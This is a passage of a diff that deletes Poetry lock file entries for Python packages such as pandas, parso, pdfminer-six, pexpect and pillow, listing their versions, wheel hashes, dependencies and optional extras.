"packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484"}, - {file = "packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f"}, -] - -[[package]] -name = "pandas" -version = "2.3.1" -description = "Powerful data structures for data analysis, time series, and statistics" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pandas-2.3.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:22c2e866f7209ebc3a8f08d75766566aae02bcc91d196935a1d9e59c7b990ac9"}, - {file = "pandas-2.3.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:3583d348546201aff730c8c47e49bc159833f971c2899d6097bce68b9112a4f1"}, - {file = "pandas-2.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0f951fbb702dacd390561e0ea45cdd8ecfa7fb56935eb3dd78e306c19104b9b0"}, - {file = "pandas-2.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd05b72ec02ebfb993569b4931b2e16fbb4d6ad6ce80224a3ee838387d83a191"}, - {file = "pandas-2.3.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:1b916a627919a247d865aed068eb65eb91a344b13f5b57ab9f610b7716c92de1"}, - {file = "pandas-2.3.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:fe67dc676818c186d5a3d5425250e40f179c2a89145df477dd82945eaea89e97"}, - {file = "pandas-2.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:2eb789ae0274672acbd3c575b0598d213345660120a257b47b5dafdc618aec83"}, - {file = "pandas-2.3.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:2b0540963d83431f5ce8870ea02a7430adca100cec8a050f0811f8e31035541b"}, - {file = "pandas-2.3.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:fe7317f578c6a153912bd2292f02e40c1d8f253e93c599e82620c7f69755c74f"}, - {file = "pandas-2.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e6723a27ad7b244c0c79d8e7007092d7c8f0f11305770e2f4cd778b3ad5f9f85"}, - {file = "pandas-2.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3462c3735fe19f2638f2c3a40bd94ec2dc5ba13abbb032dd2fa1f540a075509d"}, - {file = "pandas-2.3.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:98bcc8b5bf7afed22cc753a28bc4d9e26e078e777066bc53fac7904ddef9a678"}, - {file = "pandas-2.3.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:4d544806b485ddf29e52d75b1f559142514e60ef58a832f74fb38e48d757b299"}, - {file = "pandas-2.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:b3cd4273d3cb3707b6fffd217204c52ed92859533e31dc03b7c5008aa933aaab"}, - {file = "pandas-2.3.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:689968e841136f9e542020698ee1c4fbe9caa2ed2213ae2388dc7b81721510d3"}, - {file = "pandas-2.3.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:025e92411c16cbe5bb2a4abc99732a6b132f439b8aab23a59fa593eb00704232"}, - {file = "pandas-2.3.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b7ff55f31c4fcb3e316e8f7fa194566b286d6ac430afec0d461163312c5841e"}, - {file = "pandas-2.3.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7dcb79bf373a47d2a40cf7232928eb7540155abbc460925c2c96d2d30b006eb4"}, - {file = "pandas-2.3.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:56a342b231e8862c96bdb6ab97170e203ce511f4d0429589c8ede1ee8ece48b8"}, - {file = "pandas-2.3.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ca7ed14832bce68baef331f4d7f294411bed8efd032f8109d690df45e00c4679"}, - {file = "pandas-2.3.1-cp312-cp312-win_amd64.whl", hash = "sha256:ac942bfd0aca577bef61f2bc8da8147c4ef6879965ef883d8e8d5d2dc3e744b8"}, - {file = "pandas-2.3.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:9026bd4a80108fac2239294a15ef9003c4ee191a0f64b90f170b40cfb7cf2d22"}, - {file = "pandas-2.3.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6de8547d4fdb12421e2d047a2c446c623ff4c11f47fddb6b9169eb98ffba485a"}, - {file = "pandas-2.3.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:782647ddc63c83133b2506912cc6b108140a38a37292102aaa19c81c83db2928"}, - {file = "pandas-2.3.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ba6aff74075311fc88504b1db890187a3cd0f887a5b10f5525f8e2ef55bfdb9"}, - {file = "pandas-2.3.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e5635178b387bd2ba4ac040f82bc2ef6e6b500483975c4ebacd34bec945fda12"}, - {file = "pandas-2.3.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:6f3bf5ec947526106399a9e1d26d40ee2b259c66422efdf4de63c848492d91bb"}, - {file = "pandas-2.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:1c78cf43c8fde236342a1cb2c34bcff89564a7bfed7e474ed2fffa6aed03a956"}, - {file = "pandas-2.3.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:8dfc17328e8da77be3cf9f47509e5637ba8f137148ed0e9b5241e1baf526e20a"}, - {file = "pandas-2.3.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:ec6c851509364c59a5344458ab935e6451b31b818be467eb24b0fe89bd05b6b9"}, - {file = "pandas-2.3.1-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:911580460fc4884d9b05254b38a6bfadddfcc6aaef856fb5859e7ca202e45275"}, - {file = "pandas-2.3.1-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2f4d6feeba91744872a600e6edbbd5b033005b431d5ae8379abee5bcfa479fab"}, - {file = "pandas-2.3.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:fe37e757f462d31a9cd7580236a82f353f5713a80e059a29753cf938c6775d96"}, - {file = "pandas-2.3.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:5db9637dbc24b631ff3707269ae4559bce4b7fd75c1c4d7e13f40edc42df4444"}, - {file = "pandas-2.3.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:4645f770f98d656f11c69e81aeb21c6fca076a44bed3dcbb9396a4311bc7f6d8"}, - {file = "pandas-2.3.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:342e59589cc454aaff7484d75b816a433350b3d7964d7847327edda4d532a2e3"}, - {file = "pandas-2.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1d12f618d80379fde6af007f65f0c25bd3e40251dbd1636480dfffce2cf1e6da"}, - {file = "pandas-2.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd71c47a911da120d72ef173aeac0bf5241423f9bfea57320110a978457e069e"}, - {file = "pandas-2.3.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:09e3b1587f0f3b0913e21e8b32c3119174551deb4a4eba4a89bc7377947977e7"}, - {file = "pandas-2.3.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:2323294c73ed50f612f67e2bf3ae45aea04dce5690778e08a09391897f35ff88"}, - {file = "pandas-2.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:b4b0de34dc8499c2db34000ef8baad684cfa4cbd836ecee05f323ebfba348c7d"}, - {file = "pandas-2.3.1.tar.gz", hash = "sha256:0a95b9ac964fe83ce317827f80304d37388ea77616b1425f0ae41c9d2d0d7bb2"}, -] - -[package.dependencies] -numpy = {version = ">=1.26.0", markers = "python_version >= \"3.12\""} -python-dateutil = ">=2.8.2" -pytz = ">=2020.1" -tzdata = ">=2022.7" - -[package.extras] -all = ["PyQt5 (>=5.15.9)", "SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "adbc-driver-sqlite (>=0.8.0)", "beautifulsoup4 (>=4.11.2)", "bottleneck (>=1.3.6)", "dataframe-api-compat (>=0.1.7)", "fastparquet (>=2022.12.0)", "fsspec (>=2022.11.0)", "gcsfs (>=2022.11.0)", "html5lib (>=1.1)", "hypothesis (>=6.46.1)", "jinja2 (>=3.1.2)", "lxml (>=4.9.2)", "matplotlib (>=3.6.3)", "numba (>=0.56.4)", "numexpr (>=2.8.4)", "odfpy (>=1.4.1)", "openpyxl (>=3.1.0)", "pandas-gbq (>=0.19.0)", "psycopg2 (>=2.9.6)", "pyarrow (>=10.0.1)", "pymysql (>=1.0.2)", "pyreadstat (>=1.2.0)", "pytest (>=7.3.2)", "pytest-xdist (>=2.2.0)", "python-calamine (>=0.1.7)", "pyxlsb (>=1.0.10)", "qtpy (>=2.3.0)", "s3fs (>=2022.11.0)", "scipy (>=1.10.0)", "tables (>=3.8.0)", "tabulate (>=0.9.0)", "xarray (>=2022.12.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.5)", "zstandard (>=0.19.0)"] -aws = ["s3fs (>=2022.11.0)"] -clipboard = ["PyQt5 (>=5.15.9)", "qtpy (>=2.3.0)"] -compression = ["zstandard (>=0.19.0)"] -computation = ["scipy (>=1.10.0)", "xarray (>=2022.12.0)"] -consortium-standard = ["dataframe-api-compat (>=0.1.7)"] -excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.1.0)", "python-calamine (>=0.1.7)", "pyxlsb (>=1.0.10)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.5)"] -feather = ["pyarrow (>=10.0.1)"] -fss = ["fsspec (>=2022.11.0)"] -gcp = ["gcsfs (>=2022.11.0)", "pandas-gbq (>=0.19.0)"] -hdf5 = ["tables (>=3.8.0)"] -html = ["beautifulsoup4 (>=4.11.2)", "html5lib (>=1.1)", "lxml (>=4.9.2)"] -mysql = ["SQLAlchemy (>=2.0.0)", "pymysql (>=1.0.2)"] -output-formatting = ["jinja2 (>=3.1.2)", "tabulate (>=0.9.0)"] -parquet = ["pyarrow (>=10.0.1)"] -performance = ["bottleneck (>=1.3.6)", "numba (>=0.56.4)", "numexpr (>=2.8.4)"] -plot = ["matplotlib (>=3.6.3)"] -postgresql = ["SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "psycopg2 (>=2.9.6)"] -pyarrow = ["pyarrow (>=10.0.1)"] -spss = ["pyreadstat (>=1.2.0)"] -sql-other = ["SQLAlchemy (>=2.0.0)", "adbc-driver-postgresql (>=0.8.0)", "adbc-driver-sqlite (>=0.8.0)"] -test = ["hypothesis (>=6.46.1)", "pytest (>=7.3.2)", "pytest-xdist (>=2.2.0)"] -xml = ["lxml (>=4.9.2)"] - -[[package]] -name = "parso" -version = "0.8.4" -description = "A Python Parser" -optional = false -python-versions = ">=3.6" -groups = ["main"] -files = [ - {file = "parso-0.8.4-py2.py3-none-any.whl", hash = "sha256:a418670a20291dacd2dddc80c377c5c3791378ee1e8d12bffc35420643d43f18"}, - {file = "parso-0.8.4.tar.gz", hash = "sha256:eb3a7b58240fb99099a345571deecc0f9540ea5f4dd2fe14c2a99d6b281ab92d"}, -] - -[package.extras] -qa = ["flake8 (==5.0.4)", "mypy (==0.971)", "types-setuptools (==67.2.0.1)"] -testing = ["docopt", "pytest"] - -[[package]] -name = "pathspec" -version = "0.12.1" -description = "Utility library for gitignore style pattern matching of file paths." -optional = false -python-versions = ">=3.8" -groups = ["main", "dev"] -files = [ - {file = "pathspec-0.12.1-py3-none-any.whl", hash = "sha256:a0d503e138a4c123b27490a4f7beda6a01c6f288df0e4a8b79c7eb0dc7b4cc08"}, - {file = "pathspec-0.12.1.tar.gz", hash = "sha256:a482d51503a1ab33b1c67a6c3813a26953dbdc71c31dacaef9a838c4e29f5712"}, -] - -[[package]] -name = "pbr" -version = "6.1.1" -description = "Python Build Reasonableness" -optional = false -python-versions = ">=2.6" -groups = ["dev"] -files = [ - {file = "pbr-6.1.1-py2.py3-none-any.whl", hash = "sha256:38d4daea5d9fa63b3f626131b9d34947fd0c8be9b05a29276870580050a25a76"}, - {file = "pbr-6.1.1.tar.gz", hash = "sha256:93ea72ce6989eb2eed99d0f75721474f69ad88128afdef5ac377eb797c4bf76b"}, -] - -[package.dependencies] -setuptools = "*" - -[[package]] -name = "pdfminer-six" -version = "20250506" -description = "PDF parser and analyzer" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pdfminer_six-20250506-py3-none-any.whl", hash = "sha256:d81ad173f62e5f841b53a8ba63af1a4a355933cfc0ffabd608e568b9193909e3"}, - {file = "pdfminer_six-20250506.tar.gz", hash = "sha256:b03cc8df09cf3c7aba8246deae52e0bca7ebb112a38895b5e1d4f5dd2b8ca2e7"}, -] - -[package.dependencies] -charset-normalizer = ">=2.0.0" -cryptography = ">=36.0.0" - -[package.extras] -dev = ["atheris", "black", "mypy (==0.931)", "nox", "pytest"] -docs = ["sphinx", "sphinx-argparse"] -image = ["Pillow"] - -[[package]] -name = "pexpect" -version = "4.9.0" -description = "Pexpect allows easy control of interactive console applications." -optional = false -python-versions = "*" -groups = ["main"] -markers = "sys_platform != \"win32\" and sys_platform != \"emscripten\"" -files = [ - {file = "pexpect-4.9.0-py2.py3-none-any.whl", hash = "sha256:7236d1e080e4936be2dc3e326cec0af72acf9212a7e1d060210e70a47e253523"}, - {file = "pexpect-4.9.0.tar.gz", hash = "sha256:ee7d41123f3c9911050ea2c2dac107568dc43b2d3b0c7557a33212c398ead30f"}, -] - -[package.dependencies] -ptyprocess = ">=0.5" - -[[package]] -name = "pillow" -version = "11.3.0" -description = "Python Imaging Library (Fork)" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "pillow-11.3.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1b9c17fd4ace828b3003dfd1e30bff24863e0eb59b535e8f80194d9cc7ecf860"}, - {file = "pillow-11.3.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:65dc69160114cdd0ca0f35cb434633c75e8e7fad4cf855177a05bf38678f73ad"}, - {file = "pillow-11.3.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7107195ddc914f656c7fc8e4a5e1c25f32e9236ea3ea860f257b0436011fddd0"}, - {file = "pillow-11.3.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:cc3e831b563b3114baac7ec2ee86819eb03caa1a2cef0b481a5675b59c4fe23b"}, - {file = "pillow-11.3.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f1f182ebd2303acf8c380a54f615ec883322593320a9b00438eb842c1f37ae50"}, - {file = "pillow-11.3.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4445fa62e15936a028672fd48c4c11a66d641d2c05726c7ec1f8ba6a572036ae"}, - {file = "pillow-11.3.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:71f511f6b3b91dd543282477be45a033e4845a40278fa8dcdbfdb07109bf18f9"}, - {file = "pillow-11.3.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:040a5b691b0713e1f6cbe222e0f4f74cd233421e105850ae3b3c0ceda520f42e"}, - {file = "pillow-11.3.0-cp310-cp310-win32.whl", hash = "sha256:89bd777bc6624fe4115e9fac3352c79ed60f3bb18651420635f26e643e3dd1f6"}, - {file = "pillow-11.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:19d2ff547c75b8e3ff46f4d9ef969a06c30ab2d4263a9e287733aa8b2429ce8f"}, - {file = "pillow-11.3.0-cp310-cp310-win_arm64.whl", hash = "sha256:819931d25e57b513242859ce1876c58c59dc31587847bf74cfe06b2e0cb22d2f"}, - {file = "pillow-11.3.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:1cd110edf822773368b396281a2293aeb91c90a2db00d78ea43e7e861631b722"}, - {file = "pillow-11.3.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9c412fddd1b77a75aa904615ebaa6001f169b26fd467b4be93aded278266b288"}, - {file = "pillow-11.3.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7d1aa4de119a0ecac0a34a9c8bde33f34022e2e8f99104e47a3ca392fd60e37d"}, - {file = "pillow-11.3.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:91da1d88226663594e3f6b4b8c3c8d85bd504117d043740a8e0ec449087cc494"}, - {file = "pillow-11.3.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:643f189248837533073c405ec2f0bb250ba54598cf80e8c1e043381a60632f58"}, - {file = "pillow-11.3.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:106064daa23a745510dabce1d84f29137a37224831d88eb4ce94bb187b1d7e5f"}, - {file = "pillow-11.3.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:cd8ff254faf15591e724dc7c4ddb6bf4793efcbe13802a4ae3e863cd300b493e"}, - {file = "pillow-11.3.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:932c754c2d51ad2b2271fd01c3d121daaa35e27efae2a616f77bf164bc0b3e94"}, - {file = "pillow-11.3.0-cp311-cp311-win32.whl", hash = "sha256:b4b8f3efc8d530a1544e5962bd6b403d5f7fe8b9e08227c6b255f98ad82b4ba0"}, - {file = "pillow-11.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:1a992e86b0dd7aeb1f053cd506508c0999d710a8f07b4c791c63843fc6a807ac"}, - {file = "pillow-11.3.0-cp311-cp311-win_arm64.whl", hash = "sha256:30807c931ff7c095620fe04448e2c2fc673fcbb1ffe2a7da3fb39613489b1ddd"}, - {file = "pillow-11.3.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:fdae223722da47b024b867c1ea0be64e0df702c5e0a60e27daad39bf960dd1e4"}, - {file = "pillow-11.3.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:921bd305b10e82b4d1f5e802b6850677f965d8394203d182f078873851dada69"}, - {file = "pillow-11.3.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb76541cba2f958032d79d143b98a3a6b3ea87f0959bbe256c0b5e416599fd5d"}, - {file = "pillow-11.3.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:67172f2944ebba3d4a7b54f2e95c786a3a50c21b88456329314caaa28cda70f6"}, - {file = "pillow-11.3.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:97f07ed9f56a3b9b5f49d3661dc9607484e85c67e27f3e8be2c7d28ca032fec7"}, - {file = "pillow-11.3.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:676b2815362456b5b3216b4fd5bd89d362100dc6f4945154ff172e206a22c024"}, - {file = "pillow-11.3.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3e184b2f26ff146363dd07bde8b711833d7b0202e27d13540bfe2e35a323a809"}, - {file = "pillow-11.3.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:6be31e3fc9a621e071bc17bb7de63b85cbe0bfae91bb0363c893cbe67247780d"}, - {file = "pillow-11.3.0-cp312-cp312-win32.whl", hash = "sha256:7b161756381f0918e05e7cb8a371fff367e807770f8fe92ecb20d905d0e1c149"}, - {file = "pillow-11.3.0-cp312-cp312-win_amd64.whl", hash = "sha256:a6444696fce635783440b7f7a9fc24b3ad10a9ea3f0ab66c5905be1c19ccf17d"}, - {file = "pillow-11.3.0-cp312-cp312-win_arm64.whl", hash = "sha256:2aceea54f957dd4448264f9bf40875da0415c83eb85f55069d89c0ed436e3542"}, - {file = "pillow-11.3.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:1c627742b539bba4309df89171356fcb3cc5a9178355b2727d1b74a6cf155fbd"}, - {file = "pillow-11.3.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:30b7c02f3899d10f13d7a48163c8969e4e653f8b43416d23d13d1bbfdc93b9f8"}, - {file = "pillow-11.3.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:7859a4cc7c9295f5838015d8cc0a9c215b77e43d07a25e460f35cf516df8626f"}, - {file = "pillow-11.3.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ec1ee50470b0d050984394423d96325b744d55c701a439d2bd66089bff963d3c"}, - {file = "pillow-11.3.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:7db51d222548ccfd274e4572fdbf3e810a5e66b00608862f947b163e613b67dd"}, - {file = "pillow-11.3.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2d6fcc902a24ac74495df63faad1884282239265c6839a0a6416d33faedfae7e"}, - {file = "pillow-11.3.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f0f5d8f4a08090c6d6d578351a2b91acf519a54986c055af27e7a93feae6d3f1"}, - {file = "pillow-11.3.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c37d8ba9411d6003bba9e518db0db0c58a680ab9fe5179f040b0463644bc9805"}, - {file = "pillow-11.3.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:13f87d581e71d9189ab21fe0efb5a23e9f28552d5be6979e84001d3b8505abe8"}, - {file = "pillow-11.3.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:023f6d2d11784a465f09fd09a34b150ea4672e85fb3d05931d89f373ab14abb2"}, - {file = "pillow-11.3.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:45dfc51ac5975b938e9809451c51734124e73b04d0f0ac621649821a63852e7b"}, - {file = "pillow-11.3.0-cp313-cp313-win32.whl", hash = "sha256:a4d336baed65d50d37b88ca5b60c0fa9d81e3a87d4a7930d3880d1624d5b31f3"}, - {file = "pillow-11.3.0-cp313-cp313-win_amd64.whl", hash = "sha256:0bce5c4fd0921f99d2e858dc4d4d64193407e1b99478bc5cacecba2311abde51"}, - {file = "pillow-11.3.0-cp313-cp313-win_arm64.whl", hash = "sha256:1904e1264881f682f02b7f8167935cce37bc97db457f8e7849dc3a6a52b99580"}, - {file = "pillow-11.3.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:4c834a3921375c48ee6b9624061076bc0a32a60b5532b322cc0ea64e639dd50e"}, - {file = "pillow-11.3.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:5e05688ccef30ea69b9317a9ead994b93975104a677a36a8ed8106be9260aa6d"}, - {file = "pillow-11.3.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1019b04af07fc0163e2810167918cb5add8d74674b6267616021ab558dc98ced"}, - {file = "pillow-11.3.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f944255db153ebb2b19c51fe85dd99ef0ce494123f21b9db4877ffdfc5590c7c"}, - {file = "pillow-11.3.0-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1f85acb69adf2aaee8b7da124efebbdb959a104db34d3a2cb0f3793dbae422a8"}, - {file = "pillow-11.3.0-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:05f6ecbeff5005399bb48d198f098a9b4b6bdf27b8487c7f38ca16eeb070cd59"}, - {file = "pillow-11.3.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:a7bc6e6fd0395bc052f16b1a8670859964dbd7003bd0af2ff08342eb6e442cfe"}, - {file = "pillow-11.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:83e1b0161c9d148125083a35c1c5a89db5b7054834fd4387499e06552035236c"}, - {file = "pillow-11.3.0-cp313-cp313t-win32.whl", hash = "sha256:2a3117c06b8fb646639dce83694f2f9eac405472713fcb1ae887469c0d4f6788"}, - {file = "pillow-11.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:857844335c95bea93fb39e0fa2726b4d9d758850b34075a7e3ff4f4fa3aa3b31"}, - {file = "pillow-11.3.0-cp313-cp313t-win_arm64.whl", hash = "sha256:8797edc41f3e8536ae4b10897ee2f637235c94f27404cac7297f7b607dd0716e"}, - {file = "pillow-11.3.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:d9da3df5f9ea2a89b81bb6087177fb1f4d1c7146d583a3fe5c672c0d94e55e12"}, - {file = "pillow-11.3.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:0b275ff9b04df7b640c59ec5a3cb113eefd3795a8df80bac69646ef699c6981a"}, - {file = "pillow-11.3.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:0743841cabd3dba6a83f38a92672cccbd69af56e3e91777b0ee7f4dba4385632"}, - {file = "pillow-11.3.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2465a69cf967b8b49ee1b96d76718cd98c4e925414ead59fdf75cf0fd07df673"}, - {file = "pillow-11.3.0-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:41742638139424703b4d01665b807c6468e23e699e8e90cffefe291c5832b027"}, - {file = "pillow-11.3.0-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:93efb0b4de7e340d99057415c749175e24c8864302369e05914682ba642e5d77"}, - {file = "pillow-11.3.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7966e38dcd0fa11ca390aed7c6f20454443581d758242023cf36fcb319b1a874"}, - {file = "pillow-11.3.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:98a9afa7b9007c67ed84c57c9e0ad86a6000da96eaa638e4f8abe5b65ff83f0a"}, - {file = "pillow-11.3.0-cp314-cp314-win32.whl", hash = "sha256:02a723e6bf909e7cea0dac1b0e0310be9d7650cd66222a5f1c571455c0a45214"}, - {file = "pillow-11.3.0-cp314-cp314-win_amd64.whl", hash = "sha256:a418486160228f64dd9e9efcd132679b7a02a5f22c982c78b6fc7dab3fefb635"}, - {file = "pillow-11.3.0-cp314-cp314-win_arm64.whl", hash = "sha256:155658efb5e044669c08896c0c44231c5e9abcaadbc5cd3648df2f7c0b96b9a6"}, - {file = "pillow-11.3.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:59a03cdf019efbfeeed910bf79c7c93255c3d54bc45898ac2a4140071b02b4ae"}, - {file = "pillow-11.3.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f8a5827f84d973d8636e9dc5764af4f0cf2318d26744b3d902931701b0d46653"}, - {file = "pillow-11.3.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ee92f2fd10f4adc4b43d07ec5e779932b4eb3dbfbc34790ada5a6669bc095aa6"}, - {file = "pillow-11.3.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c96d333dcf42d01f47b37e0979b6bd73ec91eae18614864622d9b87bbd5bbf36"}, - {file = "pillow-11.3.0-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4c96f993ab8c98460cd0c001447bff6194403e8b1d7e149ade5f00594918128b"}, - {file = "pillow-11.3.0-cp314-cp314t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:41342b64afeba938edb034d122b2dda5db2139b9a4af999729ba8818e0056477"}, - {file = "pillow-11.3.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:068d9c39a2d1b358eb9f245ce7ab1b5c3246c7c8c7d9ba58cfa5b43146c06e50"}, - {file = "pillow-11.3.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:a1bc6ba083b145187f648b667e05a2534ecc4b9f2784c2cbe3089e44868f2b9b"}, - {file = "pillow-11.3.0-cp314-cp314t-win32.whl", hash = "sha256:118ca10c0d60b06d006be10a501fd6bbdfef559251ed31b794668ed569c87e12"}, - {file = "pillow-11.3.0-cp314-cp314t-win_amd64.whl", hash = "sha256:8924748b688aa210d79883357d102cd64690e56b923a186f35a82cbc10f997db"}, - {file = "pillow-11.3.0-cp314-cp314t-win_arm64.whl", hash = "sha256:79ea0d14d3ebad43ec77ad5272e6ff9bba5b679ef73375ea760261207fa8e0aa"}, - {file = "pillow-11.3.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:48d254f8a4c776de343051023eb61ffe818299eeac478da55227d96e241de53f"}, - {file = "pillow-11.3.0-cp39-cp39-macosx_11_0_arm64.whl", hash = 